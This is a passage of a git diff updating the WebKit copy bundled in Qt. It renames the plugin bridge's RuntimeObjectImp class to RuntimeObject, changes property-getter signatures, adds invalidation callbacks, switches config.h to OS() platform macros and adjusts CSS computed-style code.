         return globalObject->arrayPrototype();
     }
 
-    static PassRefPtr<Structure> createStructure(JSValue prototype)
-    {
-        return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
-    }
-
 private:
     static const unsigned StructureFlags = OverridesGetOwnPropertySlot | OverridesGetPropertyNames | JSObject::StructureFlags;
-    static JSValue lengthGetter(ExecState*, const Identifier&, const PropertySlot&);
-    static JSValue indexGetter(ExecState*, const Identifier&, const PropertySlot&);
-
-    OwnPtr<Bindings::Array> _array;
+    static JSValue lengthGetter(ExecState*, JSValue, const Identifier&);
+    static JSValue indexGetter(ExecState*, JSValue, unsigned);
 };
     
 } // namespace JSC
diff --git a/src/3rdparty/webkit/WebCore/bridge/runtime_method.cpp b/src/3rdparty/webkit/WebCore/bridge/runtime_method.cpp
index ffe4c0a..29145b6 100644
--- a/src/3rdparty/webkit/WebCore/bridge/runtime_method.cpp
+++ b/src/3rdparty/webkit/WebCore/bridge/runtime_method.cpp
@@ -27,6 +27,8 @@
 #include "runtime_method.h"
 
 #include "JSDOMBinding.h"
+#include "JSHTMLElement.h"
+#include "JSPluginElementFunctions.h"
 #include "runtime_object.h"
 #include <runtime/Error.h>
 #include <runtime/FunctionPrototype.h>
@@ -39,7 +41,7 @@ using namespace Bindings;
 
 ASSERT_CLASS_FITS_IN_CELL(RuntimeMethod);
 
-const ClassInfo RuntimeMethod::s_info = { "RuntimeMethod", 0, 0, 0 };
+const ClassInfo RuntimeMethod::s_info = { "RuntimeMethod", &InternalFunction::info, 0, 0 };
 
 RuntimeMethod::RuntimeMethod(ExecState* exec, const Identifier& ident, Bindings::MethodList& m)
     // FIXME: deprecatedGetDOMStructure uses the prototype off of the wrong global object
@@ -50,9 +52,9 @@ RuntimeMethod::RuntimeMethod(ExecState* exec, const Identifier& ident, Bindings:
 {
 }
 
-JSValue RuntimeMethod::lengthGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue RuntimeMethod::lengthGetter(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    RuntimeMethod* thisObj = static_cast<RuntimeMethod*>(asObject(slot.slotBase()));
+    RuntimeMethod* thisObj = static_cast<RuntimeMethod*>(asObject(slotBase));
 
     // Ick!  There may be more than one method with this name.  Arbitrarily
     // just pick the first method.  The fundamental problem here is that 
@@ -66,7 +68,7 @@ JSValue RuntimeMethod::lengthGetter(ExecState* exec, const Identifier&, const Pr
 bool RuntimeMethod::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot &slot)
 {
     if (propertyName == exec->propertyNames().length) {
-        slot.setCustom(this, lengthGetter);
+        slot.setCacheableCustom(this, lengthGetter);
         return true;
     }
     
@@ -91,27 +93,27 @@ static JSValue JSC_HOST_CALL callRuntimeMethod(ExecState* exec, JSObject* functi
 
     if (method->methods()->isEmpty())
         return jsUndefined();
-    
-    RuntimeObjectImp* imp;
 
-    if (thisValue.inherits(&RuntimeObjectImp::s_info)) {
-        imp = static_cast<RuntimeObjectImp*>(asObject(thisValue));
+    RefPtr<Instance> instance;
+
+    if (thisValue.inherits(&RuntimeObject::s_info)) {
+        RuntimeObject* runtimeObject = static_cast<RuntimeObject*>(asObject(thisValue));
+        instance = runtimeObject->getInternalInstance();
+        if (!instance) 
+            return RuntimeObject::throwInvalidAccessError(exec);
     } else {
-        // If thisObj is the DOM object for a plugin, get the corresponding
-        // runtime object from the DOM object.
-        JSValue value = thisValue.get(exec, Identifier(exec, "__apple_runtime_object"));
-        if (value.inherits(&RuntimeObjectImp::s_info))    
-            imp = static_cast<RuntimeObjectImp*>(asObject(value));
-        else
+        // Calling a runtime object of a plugin element?
+        if (thisValue.inherits(&JSHTMLElement::s_info)) {
+            HTMLElement* element = static_cast<JSHTMLElement*>(asObject(thisValue))->impl();
+            instance = pluginInstance(element);
+        }
+        if (!instance)
             return throwError(exec, TypeError);
     }
+    ASSERT(instance);
 
-    RefPtr<Instance> instance = imp->getInternalInstance();
-    if (!instance) 
-        return RuntimeObjectImp::throwInvalidAccessError(exec);
-        
     instance->begin();
-    JSValue result = instance->invokeMethod(exec, *method->methods(), args);
+    JSValue result = instance->invokeMethod(exec, method, args);
     instance->end();
     return result;
 }
diff --git a/src/3rdparty/webkit/WebCore/bridge/runtime_method.h b/src/3rdparty/webkit/WebCore/bridge/runtime_method.h
index 9676048..9c80ba1 100644
--- a/src/3rdparty/webkit/WebCore/bridge/runtime_method.h
+++ b/src/3rdparty/webkit/WebCore/bridge/runtime_method.h
@@ -26,7 +26,7 @@
 #ifndef RUNTIME_FUNCTION_H_
 #define RUNTIME_FUNCTION_H_
 
-#include "runtime.h"
+#include "Bridge.h"
 #include <runtime/InternalFunction.h>
 #include <runtime/JSGlobalObject.h>
 #include <wtf/OwnPtr.h>
@@ -47,12 +47,14 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue prototype)
     {
-        return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+        return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
+    virtual const ClassInfo* classInfo() const { return &s_info; }
+
 private:
     static const unsigned StructureFlags = OverridesGetOwnPropertySlot | ImplementsHasInstance | OverridesMarkChildren | InternalFunction::StructureFlags;
-    static JSValue lengthGetter(ExecState*, const Identifier&, const PropertySlot&);
+    static JSValue lengthGetter(ExecState*, JSValue, const Identifier&);
     virtual bool getOwnPropertySlot(ExecState*, const Identifier&, PropertySlot&);
     virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
     virtual CallType getCallData(CallData&);
diff --git a/src/3rdparty/webkit/WebCore/bridge/runtime_object.cpp b/src/3rdparty/webkit/WebCore/bridge/runtime_object.cpp
index 9583fb2..83aae74 100644
--- a/src/3rdparty/webkit/WebCore/bridge/runtime_object.cpp
+++ b/src/3rdparty/webkit/WebCore/bridge/runtime_object.cpp
@@ -34,32 +34,31 @@
 using namespace WebCore;
 
 namespace JSC {
+namespace Bindings {
 
-using namespace Bindings;
+const ClassInfo RuntimeObject::s_info = { "RuntimeObject", 0, 0, 0 };
 
-const ClassInfo RuntimeObjectImp::s_info = { "RuntimeObject", 0, 0, 0 };
-
-RuntimeObjectImp::RuntimeObjectImp(ExecState* exec, PassRefPtr<Instance> instance)
+RuntimeObject::RuntimeObject(ExecState* exec, PassRefPtr<Instance> instance)
     // FIXME: deprecatedGetDOMStructure uses the prototype off of the wrong global object
     // We need to pass in the right global object for "i".
-    : JSObject(deprecatedGetDOMStructure<RuntimeObjectImp>(exec))
+    : JSObject(deprecatedGetDOMStructure<RuntimeObject>(exec))
     , m_instance(instance)
 {
 }
 
-RuntimeObjectImp::RuntimeObjectImp(ExecState*, NonNullPassRefPtr<Structure> structure, PassRefPtr<Instance> instance)
+RuntimeObject::RuntimeObject(ExecState*, NonNullPassRefPtr<Structure> structure, PassRefPtr<Instance> instance)
     : JSObject(structure)
     , m_instance(instance)
 {
 }
 
-RuntimeObjectImp::~RuntimeObjectImp()
+RuntimeObject::~RuntimeObject()
 {
     if (m_instance)
         m_instance->willDestroyRuntimeObject();
 }
 
-void RuntimeObjectImp::invalidate()
+void RuntimeObject::invalidate()
 {
     ASSERT(m_instance);
     if (m_instance)
@@ -67,9 +66,9 @@ void RuntimeObjectImp::invalidate()
     m_instance = 0;
 }
 
-JSValue RuntimeObjectImp::fallbackObjectGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue RuntimeObject::fallbackObjectGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    RuntimeObjectImp* thisObj = static_cast<RuntimeObjectImp*>(asObject(slot.slotBase()));
+    RuntimeObject* thisObj = static_cast<RuntimeObject*>(asObject(slotBase));
     RefPtr<Instance> instance = thisObj->m_instance;
 
     if (!instance)
@@ -85,9 +84,9 @@ JSValue RuntimeObjectImp::fallbackObjectGetter(ExecState* exec, const Identifier
     return result;
 }
 
-JSValue RuntimeObjectImp::fieldGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue RuntimeObject::fieldGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {    
-    RuntimeObjectImp* thisObj = static_cast<RuntimeObjectImp*>(asObject(slot.slotBase()));
+    RuntimeObject* thisObj = static_cast<RuntimeObject*>(asObject(slotBase));
     RefPtr<Instance> instance = thisObj->m_instance;
 
     if (!instance)
@@ -104,9 +103,9 @@ JSValue RuntimeObjectImp::fieldGetter(ExecState* exec, const Identifier& propert
     return result;
 }
 
-JSValue RuntimeObjectImp::methodGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue RuntimeObject::methodGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    RuntimeObjectImp* thisObj = static_cast<RuntimeObjectImp*>(asObject(slot.slotBase()));
+    RuntimeObject* thisObj = static_cast<RuntimeObject*>(asObject(slotBase));
     RefPtr<Instance> instance = thisObj->m_instance;
 
     if (!instance)
@@ -114,16 +113,14 @@ JSValue RuntimeObjectImp::methodGetter(ExecState* exec, const Identifier& proper
     
     instance->begin();
 
-    Class *aClass = instance->getClass();
-    MethodList methodList = aClass->methodsNamed(propertyName, instance.get());
-    JSValue result = new (exec) RuntimeMethod(exec, propertyName, methodList);
+    JSValue method = instance->getMethod(exec, propertyName);
 
     instance->end();
             
-    return result;
+    return method;
 }
 
-bool RuntimeObjectImp::getOwnPropertySlot(ExecState *exec, const Identifier& propertyName, PropertySlot& slot)
+bool RuntimeObject::getOwnPropertySlot(ExecState *exec, const Identifier& propertyName, PropertySlot& slot)
 {
     if (!m_instance) {
         throwInvalidAccessError(exec);
@@ -168,7 +165,7 @@ bool RuntimeObjectImp::getOwnPropertySlot(ExecState *exec, const Identifier& pro
     return instance->getOwnPropertySlot(this, exec, propertyName, slot);
 }
 
-bool RuntimeObjectImp::getOwnPropertyDescriptor(ExecState *exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+bool RuntimeObject::getOwnPropertyDescriptor(ExecState *exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
 {
     if (!m_instance) {
         throwInvalidAccessError(exec);
@@ -217,7 +214,7 @@ bool RuntimeObjectImp::getOwnPropertyDescriptor(ExecState *exec, const Identifie
     return instance->getOwnPropertyDescriptor(this, exec, propertyName, descriptor);
 }
 
-void RuntimeObjectImp::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
+void RuntimeObject::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
 {
     if (!m_instance) {
         throwInvalidAccessError(exec);
@@ -237,13 +234,13 @@ void RuntimeObjectImp::put(ExecState* exec, const Identifier& propertyName, JSVa
     instance->end();
 }
 
-bool RuntimeObjectImp::deleteProperty(ExecState*, const Identifier&)
+bool RuntimeObject::deleteProperty(ExecState*, const Identifier&)
 {
     // Can never remove a property of a RuntimeObject.
     return false;
 }
 
-JSValue RuntimeObjectImp::defaultValue(ExecState* exec, PreferredPrimitiveType hint) const
+JSValue RuntimeObject::defaultValue(ExecState* exec, PreferredPrimitiveType hint) const
 {
     if (!m_instance)
         return throwInvalidAccessError(exec);
@@ -258,14 +255,15 @@ JSValue RuntimeObjectImp::defaultValue(ExecState* exec, PreferredPrimitiveType h
 
 static JSValue JSC_HOST_CALL callRuntimeObject(ExecState* exec, JSObject* function, JSValue, const ArgList& args)
 {
-    RefPtr<Instance> instance(static_cast<RuntimeObjectImp*>(function)->getInternalInstance());
+    ASSERT(function->inherits(&RuntimeObject::s_info));
+    RefPtr<Instance> instance(static_cast<RuntimeObject*>(function)->getInternalInstance());
     instance->begin();
     JSValue result = instance->invokeDefaultMethod(exec, args);
     instance->end();
     return result;
 }
 
-CallType RuntimeObjectImp::getCallData(CallData& callData)
+CallType RuntimeObject::getCallData(CallData& callData)
 {
     if (!m_instance)
         return CallTypeNone;
@@ -280,7 +278,8 @@ CallType RuntimeObjectImp::getCallData(CallData& callData)
 
 static JSObject* callRuntimeConstructor(ExecState* exec, JSObject* constructor, const ArgList& args)
 {
-    RefPtr<Instance> instance(static_cast<RuntimeObjectImp*>(constructor)->getInternalInstance());
+    ASSERT(constructor->inherits(&RuntimeObject::s_info));
+    RefPtr<Instance> instance(static_cast<RuntimeObject*>(constructor)->getInternalInstance());
     instance->begin();
     JSValue result = instance->invokeConstruct(exec, args);
     instance->end();
@@ -289,7 +288,7 @@ static JSObject* callRuntimeConstructor(ExecState* exec, JSObject* constructor,
     return result.isObject() ? static_cast<JSObject*>(result.asCell()) : constructor;
 }
 
-ConstructType RuntimeObjectImp::getConstructData(ConstructData& constructData)
+ConstructType RuntimeObject::getConstructData(ConstructData& constructData)
 {
     if (!m_instance)
         return ConstructTypeNone;
@@ -302,7 +301,7 @@ ConstructType RuntimeObjectImp::getConstructData(ConstructData& constructData)
     return ConstructTypeHost;
 }
 
-void RuntimeObjectImp::getPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void RuntimeObject::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode)
 {
     if (!m_instance) {
         throwInvalidAccessError(exec);
@@ -316,14 +315,10 @@ void RuntimeObjectImp::getPropertyNames(ExecState* exec, PropertyNameArray& prop
     instance->end();
 }
 
-void RuntimeObjectImp::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
-{
-    getOwnPropertyNames(exec, propertyNames);
-}
-
-JSObject* RuntimeObjectImp::throwInvalidAccessError(ExecState* exec)
+JSObject* RuntimeObject::throwInvalidAccessError(ExecState* exec)
 {
     return throwError(exec, ReferenceError, "Trying to access object from destroyed plug-in.");
 }
 
 }
+}
diff --git a/src/3rdparty/webkit/WebCore/bridge/runtime_object.h b/src/3rdparty/webkit/WebCore/bridge/runtime_object.h
index 391e078..b735e36 100644
--- a/src/3rdparty/webkit/WebCore/bridge/runtime_object.h
+++ b/src/3rdparty/webkit/WebCore/bridge/runtime_object.h
@@ -26,15 +26,16 @@
 #ifndef KJS_RUNTIME_OBJECT_H
 #define KJS_RUNTIME_OBJECT_H
 
-#include "runtime.h"
+#include "Bridge.h"
 #include <runtime/JSGlobalObject.h>
 
 namespace JSC {
+namespace Bindings {
 
-class RuntimeObjectImp : public JSObject {
+class RuntimeObject : public JSObject {
 public:
-    RuntimeObjectImp(ExecState*, PassRefPtr<Bindings::Instance>);
-    virtual ~RuntimeObjectImp();
+    RuntimeObject(ExecState*, PassRefPtr<Instance>);
+    virtual ~RuntimeObject();
 
     virtual bool getOwnPropertySlot(ExecState*, const Identifier& propertyName, PropertySlot&);
     virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier& propertyName, PropertyDescriptor&);
@@ -44,12 +45,11 @@ public:
     virtual CallType getCallData(CallData&);
     virtual ConstructType getConstructData(ConstructData&);
 
-    virtual void getPropertyNames(ExecState*, PropertyNameArray&);
-    virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&);
+    virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
 
     void invalidate();
 
-    Bindings::Instance* getInternalInstance() const { return m_instance.get(); }
+    Instance* getInternalInstance() const { return m_instance.get(); }
 
     static JSObject* throwInvalidAccessError(ExecState*);
 
@@ -62,23 +62,24 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue prototype)
     {
-        return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+        return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
 protected:
     static const unsigned StructureFlags = OverridesGetOwnPropertySlot | OverridesGetPropertyNames | JSObject::StructureFlags;
-    RuntimeObjectImp(ExecState*, NonNullPassRefPtr<Structure>, PassRefPtr<Bindings::Instance>);
+    RuntimeObject(ExecState*, NonNullPassRefPtr<Structure>, PassRefPtr<Instance>);
 
 private:
     virtual const ClassInfo* classInfo() const { return &s_info; }
     
-    static JSValue fallbackObjectGetter(ExecState*, const Identifier&, const PropertySlot&);
-    static JSValue fieldGetter(ExecState*, const Identifier&, const PropertySlot&);
-    static JSValue methodGetter(ExecState*, const Identifier&, const PropertySlot&);
+    static JSValue fallbackObjectGetter(ExecState*, JSValue, const Identifier&);
+    static JSValue fieldGetter(ExecState*, JSValue, const Identifier&);
+    static JSValue methodGetter(ExecState*, JSValue, const Identifier&);
 
-    RefPtr<Bindings::Instance> m_instance;
+    RefPtr<Instance> m_instance;
 };
     
-} // namespace
+}
+}
 
 #endif
diff --git a/src/3rdparty/webkit/WebCore/bridge/runtime_root.cpp b/src/3rdparty/webkit/WebCore/bridge/runtime_root.cpp
index 0e9bf74..09fd43b 100644
--- a/src/3rdparty/webkit/WebCore/bridge/runtime_root.cpp
+++ b/src/3rdparty/webkit/WebCore/bridge/runtime_root.cpp
@@ -26,7 +26,7 @@
 #include "config.h"
 #include "runtime_root.h"
 
-#include "runtime.h"
+#include "Bridge.h"
 #include "runtime_object.h"
 #include <runtime/JSGlobalObject.h>
 #include <wtf/HashCountedSet.h>
@@ -71,6 +71,10 @@ RootObject* findRootObject(JSGlobalObject* globalObject)
     return 0;
 }
 
+RootObject::InvalidationCallback::~InvalidationCallback()
+{
+}
+
 PassRefPtr<RootObject> RootObject::create(const void* nativeHandle, JSGlobalObject* globalObject)
 {
     return adoptRef(new RootObject(nativeHandle, globalObject));
@@ -97,8 +101,8 @@ void RootObject::invalidate()
         return;
 
     {
-        HashSet<RuntimeObjectImp*>::iterator end = m_runtimeObjects.end();
-        for (HashSet<RuntimeObjectImp*>::iterator it = m_runtimeObjects.begin(); it != end; ++it)
+        HashSet<RuntimeObject*>::iterator end = m_runtimeObjects.end();
+        for (HashSet<RuntimeObject*>::iterator it = m_runtimeObjects.begin(); it != end; ++it)
             (*it)->invalidate();
         
         m_runtimeObjects.clear();
@@ -109,6 +113,14 @@ void RootObject::invalidate()
     m_nativeHandle = 0;
     m_globalObject = 0;
 
+    {
+        HashSet<InvalidationCallback*>::iterator end = m_invalidationCallbacks.end();
+        for (HashSet<InvalidationCallback*>::iterator iter = m_invalidationCallbacks.begin(); iter != end; ++iter)
+            (**iter)(this);
+
+        m_invalidationCallbacks.clear();
+    }
+
     ProtectCountSet::iterator end = m_protectCountSet.end();
     for (ProtectCountSet::iterator it = m_protectCountSet.begin(); it != end; ++it)
         JSC::gcUnprotect(it->first);
@@ -156,7 +168,7 @@ JSGlobalObject* RootObject::globalObject() const
     return m_globalObject;
 }
 
-void RootObject::addRuntimeObject(RuntimeObjectImp* object)
+void RootObject::addRuntimeObject(RuntimeObject* object)
 {
     ASSERT(m_isValid);
     ASSERT(!m_runtimeObjects.contains(object));
@@ -164,7 +176,7 @@ void RootObject::addRuntimeObject(RuntimeObjectImp* object)
     m_runtimeObjects.add(object);
 }        
     
-void RootObject::removeRuntimeObject(RuntimeObjectImp* object)
+void RootObject::removeRuntimeObject(RuntimeObject* object)
 {
     ASSERT(m_isValid);
     ASSERT(m_runtimeObjects.contains(object));
diff --git a/src/3rdparty/webkit/WebCore/bridge/runtime_root.h b/src/3rdparty/webkit/WebCore/bridge/runtime_root.h
index fdd73c4..04f382a 100644
--- a/src/3rdparty/webkit/WebCore/bridge/runtime_root.h
+++ b/src/3rdparty/webkit/WebCore/bridge/runtime_root.h
@@ -41,11 +41,11 @@ namespace JSC {
 
 class Interpreter;
 class JSGlobalObject;
-class RuntimeObjectImp;
 
 namespace Bindings {
 
 class RootObject;
+class RuntimeObject;
 
 typedef HashCountedSet<JSObject*> ProtectCountSet;
 
@@ -70,8 +70,15 @@ public:
     const void* nativeHandle() const;
     JSGlobalObject* globalObject() const;
 
-    void addRuntimeObject(RuntimeObjectImp*);
-    void removeRuntimeObject(RuntimeObjectImp*);
+    void addRuntimeObject(RuntimeObject*);
+    void removeRuntimeObject(RuntimeObject*);
+
+    struct InvalidationCallback {
+        virtual void operator()(RootObject*) = 0;
+        virtual ~InvalidationCallback();
+    };
+    void addInvalidationCallback(InvalidationCallback* callback) { m_invalidationCallbacks.add(callback); }
+
 private:
     RootObject(const void* nativeHandle, JSGlobalObject*);
     
@@ -79,9 +86,11 @@ private:
     
     const void* m_nativeHandle;
     ProtectedPtr<JSGlobalObject> m_globalObject;
+
     ProtectCountSet m_protectCountSet;
+    HashSet<RuntimeObject*> m_runtimeObjects;    
 
-    HashSet<RuntimeObjectImp*> m_runtimeObjects;    
+    HashSet<InvalidationCallback*> m_invalidationCallbacks;
 };
 
 } // namespace Bindings
diff --git a/src/3rdparty/webkit/WebCore/bridge/testbindings.cpp b/src/3rdparty/webkit/WebCore/bridge/testbindings.cpp
index e4bbc7e..bcba115 100644
--- a/src/3rdparty/webkit/WebCore/bridge/testbindings.cpp
+++ b/src/3rdparty/webkit/WebCore/bridge/testbindings.cpp
@@ -19,19 +19,17 @@
  *
  */
 #include "config.h"
-#include <assert.h>
-#include <stdio.h>
-#include <string.h>
 
-#include "JSValue.h"
+#include "Bridge.h"
 #include "JSObject.h"
-#include "types.h"
+#include "JSValue.h"
 #include "interpreter.h"
-
 #include "npruntime_internal.h"
-
-#include "runtime.h"
 #include "runtime_object.h"
+#include "types.h"
+#include <assert.h>
+#include <stdio.h>
+#include <string.h>
 
 
 #define LOG(formatAndArgs...) { \
diff --git a/src/3rdparty/webkit/WebCore/bridge/testbindings.mm b/src/3rdparty/webkit/WebCore/bridge/testbindings.mm
index ca70e17..31564a8 100644
--- a/src/3rdparty/webkit/WebCore/bridge/testbindings.mm
+++ b/src/3rdparty/webkit/WebCore/bridge/testbindings.mm
@@ -24,20 +24,18 @@
  */
 
 #include "config.h"
-#include <Foundation/Foundation.h>
 
+#include "Bridge.h"
+#include <Foundation/Foundation.h>
+#include "JSObject.h"
+#include "JSValue.h"
 #import <WebKit/WebScriptObject.h>
-
+#include "interpreter.h"
+#include "runtime_object.h"
 #include <stdio.h>
 #include <string.h>
-
-#include "JSValue.h"
-#include "JSObject.h"
 #include "types.h"
-#include "interpreter.h"
 
-#include "runtime.h"
-#include "runtime_object.h"
 
 #define LOG(formatAndArgs...) { \
     fprintf (stderr, "%s:  ", __PRETTY_FUNCTION__); \
diff --git a/src/3rdparty/webkit/WebCore/bridge/testqtbindings.cpp b/src/3rdparty/webkit/WebCore/bridge/testqtbindings.cpp
index 41a9a3a..73df155 100644
--- a/src/3rdparty/webkit/WebCore/bridge/testqtbindings.cpp
+++ b/src/3rdparty/webkit/WebCore/bridge/testqtbindings.cpp
@@ -23,21 +23,18 @@
  * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
  */
 #include "config.h"
-#include <assert.h>
-#include <stdio.h>
-#include <string.h>
 
-#include "JSValue.h"
+#include "Bridge.h"
 #include "JSObject.h"
-#include "types.h"
+#include "JSValue.h"
 #include "interpreter.h"
-
-#include "qobject.h"
 #include "qdebug.h"
-
-#include "runtime.h"
+#include "qobject.h"
 #include "runtime_object.h"
-
+#include "types.h"
+#include <assert.h>
+#include <stdio.h>
+#include <string.h>
 
 
 class MyObject : public QObject
diff --git a/src/3rdparty/webkit/WebCore/config.h b/src/3rdparty/webkit/WebCore/config.h
index 62a7f60a..b612e39 100644
--- a/src/3rdparty/webkit/WebCore/config.h
+++ b/src/3rdparty/webkit/WebCore/config.h
@@ -25,7 +25,7 @@
 
 #include <wtf/Platform.h>
 
-#if PLATFORM(WIN_OS) && !defined(BUILDING_WX__) && !COMPILER(GCC)
+#if OS(WINDOWS) && !defined(BUILDING_WX__) && !COMPILER(GCC)
 #if defined(BUILDING_JavaScriptCore) || defined(BUILDING_WTF)
 #define JS_EXPORTDATA __declspec(dllexport)
 #else
@@ -36,8 +36,10 @@
 #else
 #define WEBKIT_EXPORTDATA __declspec(dllimport)
 #endif
+#define JS_EXPORTCLASS JS_EXPORTDATA
 #else
 #define JS_EXPORTDATA
+#define JS_EXPORTCLASS
 #define WEBKIT_EXPORTDATA
 #endif
 
@@ -47,7 +49,7 @@
 #define HAVE_FUNC_USLEEP 1
 #endif /* __APPLE__ */
 
-#if PLATFORM(WIN_OS)
+#if OS(WINDOWS)
 
 #ifndef _WIN32_WINNT
 #define _WIN32_WINNT 0x0500
@@ -73,7 +75,36 @@
 #endif
 #endif
 
-#endif /* PLATFORM(WIN_OS) */
+#endif /* OS(WINDOWS) */
+
+#if PLATFORM(ANDROID)
+#define WEBCORE_NAVIGATOR_VENDOR "Google Inc."
+// This must be defined before we include FastMalloc.h, below.
+#define USE_SYSTEM_MALLOC 1
+#define LOG_DISABLED 1
+#include <wtf/Assertions.h>
+// Central place to set which optional features Android uses.
+#define ENABLE_CHANNEL_MESSAGING 1
+#define ENABLE_DOM_STORAGE 1
+#undef ENABLE_FTPDIR  // Enabled by default in Platform.h
+#define ENABLE_FTPDIR 0
+#ifndef ENABLE_SVG
+#define ENABLE_SVG 0
+#endif
+#define ENABLE_VIDEO 1
+#define ENABLE_WORKERS 1
+#define ENABLE_XBL 0
+#define ENABLE_XHTMLMP 0
+#define ENABLE_XPATH 0
+#define ENABLE_XSLT 0
+#define ENABLE_ARCHIVE 0
+#define ENABLE_OFFLINE_WEB_APPLICATIONS 1
+#undef ENABLE_GEOLOCATION  // Disabled by default in Platform.h
+#define ENABLE_GEOLOCATION 1
+#undef ENABLE_INSPECTOR  // Enabled by default in Platform.h
+#define ENABLE_INSPECTOR 0
+#define ENABLE_EVENT_SOURCE 0
+#endif /* PLATFORM(ANDROID) */
 
 #ifdef __cplusplus
 
@@ -103,7 +134,7 @@
 
 #if COMPILER(MSVC)
 #define SKIP_STATIC_CONSTRUCTORS_ON_MSVC 1
-#else
+#elif !COMPILER(WINSCW)
 #define SKIP_STATIC_CONSTRUCTORS_ON_GCC 1
 #endif
 
@@ -141,10 +172,7 @@
 #define WTF_USE_NEW_THEME 1
 #endif // PLATFORM(MAC)
 
-#if PLATFORM(SYMBIAN)
-#undef WIN32
-#undef _WIN32
-#undef SKIP_STATIC_CONSTRUCTORS_ON_GCC
+#if OS(SYMBIAN)
 #define USE_SYSTEM_MALLOC 1
 #define U_HAVE_INT8_T 0
 #define U_HAVE_INT16_T 0
@@ -159,10 +187,10 @@
 
 #if PLATFORM(CHROMIUM)
 
-#if !PLATFORM(DARWIN)
+#if !OS(DARWIN)
 // Define SKIA on non-Mac.
 #define WTF_PLATFORM_SKIA 1
-#endif /* !PLATFORM(DARWIN) */
+#endif /* !OS(DARWIN) */
 
 // Chromium uses this file instead of JavaScriptCore/config.h to compile
 // JavaScriptCore/wtf (chromium doesn't compile the rest of JSC). Therefore,
diff --git a/src/3rdparty/webkit/WebCore/css/CSSCharsetRule.idl b/src/3rdparty/webkit/WebCore/css/CSSCharsetRule.idl
index db0333a..2b158ff 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSCharsetRule.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSCharsetRule.idl
@@ -21,11 +21,7 @@
 module css {
 
     // Introduced in DOM Level 2:
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=94180bad-a74e-4df9-adbc-6ce4e5b96155,
-        ImplementationUUID=354aa39e-ad53-4e9a-a927-80c3966c47f2
-    ] CSSCharsetRule : CSSRule {
+    interface CSSCharsetRule : CSSRule {
 #if defined(LANGUAGE_OBJECTIVE_C) && LANGUAGE_OBJECTIVE_C
         readonly attribute [ConvertNullStringTo=Null] DOMString encoding;
 #else
diff --git a/src/3rdparty/webkit/WebCore/css/CSSComputedStyleDeclaration.cpp b/src/3rdparty/webkit/WebCore/css/CSSComputedStyleDeclaration.cpp
index b8769f9..90c0150 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSComputedStyleDeclaration.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSComputedStyleDeclaration.cpp
@@ -33,10 +33,8 @@
 #include "CSSReflectValue.h"
 #include "CSSTimingFunctionValue.h"
 #include "CSSValueList.h"
-#include "CachedImage.h"
 #include "Document.h"
 #include "ExceptionCode.h"
-#include "Pair.h"
 #include "Rect.h"
 #include "RenderBox.h"
 #include "RenderLayer.h"
@@ -148,6 +146,7 @@ static const int computedProperties[] = {
     CSSPropertyWebkitAnimationDelay,
     CSSPropertyWebkitAnimationDirection,
     CSSPropertyWebkitAnimationDuration,
+    CSSPropertyWebkitAnimationFillMode,
     CSSPropertyWebkitAnimationIterationCount,
     CSSPropertyWebkitAnimationName,
     CSSPropertyWebkitAnimationPlayState,
@@ -173,6 +172,7 @@ static const int computedProperties[] = {
     CSSPropertyWebkitBoxReflect,
     CSSPropertyWebkitBoxShadow,
     CSSPropertyWebkitBoxSizing,
+    CSSPropertyWebkitColorCorrection,
     CSSPropertyWebkitColumnBreakAfter,
     CSSPropertyWebkitColumnBreakBefore,
     CSSPropertyWebkitColumnBreakInside,
@@ -262,7 +262,7 @@ static const int computedProperties[] = {
     CSSPropertyWritingMode,
     CSSPropertyGlyphOrientationHorizontal,
     CSSPropertyGlyphOrientationVertical,
-    CSSPropertyWebkitShadow
+    CSSPropertyWebkitSvgShadow
 #endif
 };
 
@@ -630,9 +630,9 @@ static PassRefPtr<CSSValue> fillRepeatToCSSValue(EFillRepeat xRepeat, EFillRepea
     // if the two values are equivalent to repeat-x or repeat-y, just return the shorthand.
     if (xRepeat == yRepeat)
         return CSSPrimitiveValue::create(xRepeat);
-    if (xRepeat == CSSValueRepeat && yRepeat == CSSValueNoRepeat)
+    if (xRepeat == RepeatFill && yRepeat == NoRepeatFill)
         return CSSPrimitiveValue::createIdentifier(CSSValueRepeatX);
-    if (xRepeat == CSSValueNoRepeat && yRepeat == CSSValueRepeat)
+    if (xRepeat == NoRepeatFill && yRepeat == RepeatFill)
         return CSSPrimitiveValue::createIdentifier(CSSValueRepeatY);
 
     RefPtr<CSSValueList> list = CSSValueList::createSpaceSeparated();
